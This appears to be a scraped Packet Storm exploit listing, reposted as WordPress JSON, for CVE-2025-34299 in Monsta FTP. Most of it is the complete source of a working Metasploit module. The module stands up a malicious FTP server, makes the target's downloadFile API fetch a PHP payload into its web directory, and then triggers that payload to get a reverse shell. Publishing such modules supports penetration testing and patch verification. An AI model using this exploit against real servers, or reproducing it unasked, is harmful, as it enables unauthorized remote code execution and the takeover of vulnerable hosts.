{“lastseen”:”2025-11-27T17:52:50″,”description”:”This Metasploit module exploits a pre-authenticated remote code execution vulnerability in Monsta FTP versions prior to 2.11.3. The vulnerability exists in the downloadFile action which allows an attacker to connect to a malicious FTP or SFTP server…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Monsta FTP DownloadFile Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212150″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34299″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Payload::Php\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::Remote::FtpServer\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Monsta FTP downloadFile Remote Code Execution’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a pre-authenticated remote code execution vulnerability\\n in Monsta FTP versions \\u003c 2.11.3. The vulnerability exists in the downloadFile\\n action which allows an attacker to connect to a malicious FTP or SFTP server\\n and download arbitrary files to arbitrary locations on the Monsta FTP server.\\n This module uses FTP to exploit the vulnerability.\\n },\\n ‘Author’ =\\u003e [\\n ‘watchTowr Labs’, # Discovery\\n ‘Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e’, # Metasploit module\\n ‘msutovsky-r7’ # Module reviewer\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-34299’],\\n [‘URL’, ‘https:\/\/labs.watchtowr.com\/monsta-ftp-remote-code-execution-cve-2025-34299\/’]\\n ],\\n ‘Platform’ =\\u003e %w[php unix linux win],\\n ‘Arch’ =\\u003e [ARCH_PHP, ARCH_CMD],\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP In-Memory’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n # tested with php\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘2025-11-07’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘The base path to Monsta FTP’, ‘\/mftp\/’])\\n ])\\n end\\n \\n def check\\n res = send_request_cgi(‘uri’ =\\u003e normalize_uri(target_uri.path))\\n return CheckCode::Unknown(‘Connection failed’) unless res\\n return CheckCode::Safe(‘Target does not appear to be Monsta FTP’) unless res.code == 200 \\u0026\\u0026 res.body.include?(‘Monsta FTP’)\\n \\n version_match = res.body.match(\/(?:v=|assets-|monsta-min-)(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/)\\n return CheckCode::Detected(‘Monsta FTP detected but version could not be determined’) unless version_match\\n \\n version = Rex::Version.new(version_match[1])\\n print_status(\\”Monsta FTP version detected: #{version}\\”)\\n version \\u003c Rex::Version.new(‘2.11.3’) ? CheckCode::Appears(\\”Detected version #{version}, which is vulnerable\\”) : CheckCode::Safe(\\”Detected not vulnerable version #{version}\\”)\\n end\\n \\n def php_payload_content\\n phped_payload = target[‘Arch’] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)\\n \\”\\u003c?php #{phped_payload} ?\\u003e\\”\\n end\\n \\n def send_ftp_response(cli, code, message)\\n cli.put \\”#{code} #{message}\\\\r\\\\n\\”\\n vprint_status(\\”FTP: #{code} #{message}\\”)\\n end\\n \\n def require_auth(cli)\\n return true if @state[cli][:auth]\\n \\n send_ftp_response(cli, 530, ‘Not logged in.’)\\n false\\n end\\n \\n def send_data_connection(cli)\\n conn = establish_data_connection(cli)\\n unless conn\\n send_ftp_response(cli, 425, \\”Can’t open data connection.\\”)\\n return nil\\n end\\n conn\\n end\\n \\n def handle_data_transfer_retr(cli, message)\\n send_ftp_response(cli, 150, message)\\n conn = send_data_connection(cli)\\n return unless conn\\n \\n conn.put(php_payload_content)\\n conn.close\\n send_ftp_response(cli, 226, ‘Transfer complete.’)\\n end\\n \\n def start_ftp_service(credentials)\\n define_singleton_method(:on_client_connect) do |cli|\\n vprint_status(\\”FTP client connected from #{cli.peerhost}:#{cli.peerport}\\”)\\n @state[cli] = {\\n name: \\”#{cli.peerhost}:#{cli.peerport}\\”,\\n ip: cli.peerhost,\\n port: cli.peerport,\\n user: credentials[:user],\\n pass: credentials[:pass],\\n auth: false,\\n valid_user: false\\n }\\n send_ftp_response(cli, 220, ‘FTP Server Ready’)\\n end\\n start_service({ SSL: false })\\n end\\n \\n def handle_ftp_command(_cli, cmd, arg = nil)\\n vprint_status(\\”FTP: Client sent #{cmd}#{arg ? \\” #{arg}\\” : ”}\\”)\\n end\\n \\n def on_client_command_user(cli, arg)\\n handle_ftp_command(cli, ‘USER’, arg)\\n @state[cli][:valid_user] = arg == @state[cli][:user]\\n send_ftp_response(cli, 331, ‘User name okay, need password.’)\\n end\\n \\n def on_client_command_pass(cli, arg)\\n handle_ftp_command(cli, ‘PASS’)\\n @state[cli][:auth] = @state[cli][:valid_user] \\u0026\\u0026 arg == @state[cli][:pass]\\n code, message = @state[cli][:auth] ? [230, ‘Login successful.’] : [530, ‘Login incorrect.’]\\n send_ftp_response(cli, code, message)\\n end\\n \\n def on_client_command_pwd(cli, _arg)\\n handle_ftp_command(cli, ‘PWD’)\\n send_ftp_response(cli, 257, ‘\\”\/\\” is current directory.’)\\n end\\n \\n def on_client_command_type(cli, arg)\\n handle_ftp_command(cli, ‘TYPE’, arg)\\n send_ftp_response(cli, 200, \\”Type set to #{arg}.\\”)\\n end\\n \\n def on_client_command_port(cli, arg)\\n handle_ftp_command(cli, ‘PORT’, arg)\\n parts = arg.split(‘,’)\\n unless parts.length == 6\\n vprint_error(\\”FTP: Invalid PORT command format: #{arg}\\”)\\n send_ftp_response(cli, 500, ‘Illegal PORT command.’)\\n return\\n end\\n host = parts[0..3].join(‘.’)\\n port = (parts[4].to_i * 256) + parts[5].to_i\\n vprint_status(\\”FTP: PORT command parsed – host: #{host}, port: #{port}\\”)\\n active_data_port_for_client(cli, port)\\n send_ftp_response(cli, 200, ‘PORT command successful.’)\\n end\\n \\n def on_client_command_retr(cli, arg)\\n handle_ftp_command(cli, ‘RETR’, arg)\\n return unless require_auth(cli)\\n \\n handle_data_transfer_retr(cli, \\”Opening data connection for #{arg}\\”)\\n end\\n \\n def on_client_command_quit(cli, _arg)\\n handle_ftp_command(cli, ‘QUIT’)\\n send_ftp_response(cli, 221, ‘Goodbye.’)\\n end\\n \\n def on_client_command_unknown(cli, cmd, arg)\\n handle_ftp_command(cli, \\”UNKNOWN: #{cmd}\\”, arg)\\n send_ftp_response(cli, 500, \\”‘#{cmd} #{arg}’: command not understood.\\”)\\n end\\n \\n def trigger_http_request(exploit_data)\\n vprint_status(‘Triggering HTTP request…’)\\n payload_name = \\”#{Rex::Text.rand_text_alphanumeric(8..12)}.php\\”\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘application’, ‘api’, ‘api.php’),\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e ‘application\/x-www-form-urlencoded’,\\n ‘data’ =\\u003e \\”request=#{Rex::Text.uri_encode({\\n ‘connectionType’ =\\u003e ‘ftp’,\\n ‘configuration’ =\\u003e {\\n ‘host’ =\\u003e datastore[‘SRVHOST’],\\n ‘username’ =\\u003e exploit_data[:user],\\n ‘initialDirectory’ =\\u003e ‘\/’,\\n ‘password’ =\\u003e exploit_data[:pass],\\n ‘port’ =\\u003e datastore[‘SRVPORT’]\\n },\\n ‘actionName’ =\\u003e ‘downloadFile’,\\n ‘context’ =\\u003e { ‘remotePath’ =\\u003e \\”\/#{payload_name}\\”, ‘localPath’ =\\u003e payload_name }\\n }.to_json)}\\”\\n })\\n \\n return nil unless res\\u0026.code == 200 \\u0026\\u0026 res.get_json_document\\u0026.[](‘success’)\\n \\n vprint_status(\\”File downloaded successfully: #{payload_name}\\”)\\n payload_name\\n end\\n \\n def exploit\\n exploit_data = {\\n user: Faker::Internet.username,\\n pass: Faker::Internet.password\\n }\\n \\n start_ftp_service(exploit_data)\\n vprint_status(\\”FTP server started on #{datastore[‘SRVHOST’]}:#{datastore[‘SRVPORT’]}\\”)\\n \\n payload_name = trigger_http_request(exploit_data)\\n fail_with(Failure::Unknown, ‘Failed to download payload file’) unless payload_name\\n \\n register_file_for_cleanup(payload_name)\\n vprint_status(\\”Triggering payload at #{normalize_uri(target_uri.path, ‘application’, ‘api’, payload_name)}…\\”)\\n res = send_request_cgi(‘uri’ =\\u003e normalize_uri(target_uri.path, ‘application’, ‘api’, payload_name), ‘method’ =\\u003e ‘GET’)\\n \\n vprint_warning(‘Payload executed but failed to establish reverse connection’) if res\\u0026.body == ‘no socket’\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212150″,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212150\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-27T17:52:50″,”description”:”This Metasploit module exploits a pre-authenticated remote code execution vulnerability in Monsta FTP versions prior to 2.11.3. The vulnerability exists in the downloadFile action which…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-27860","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n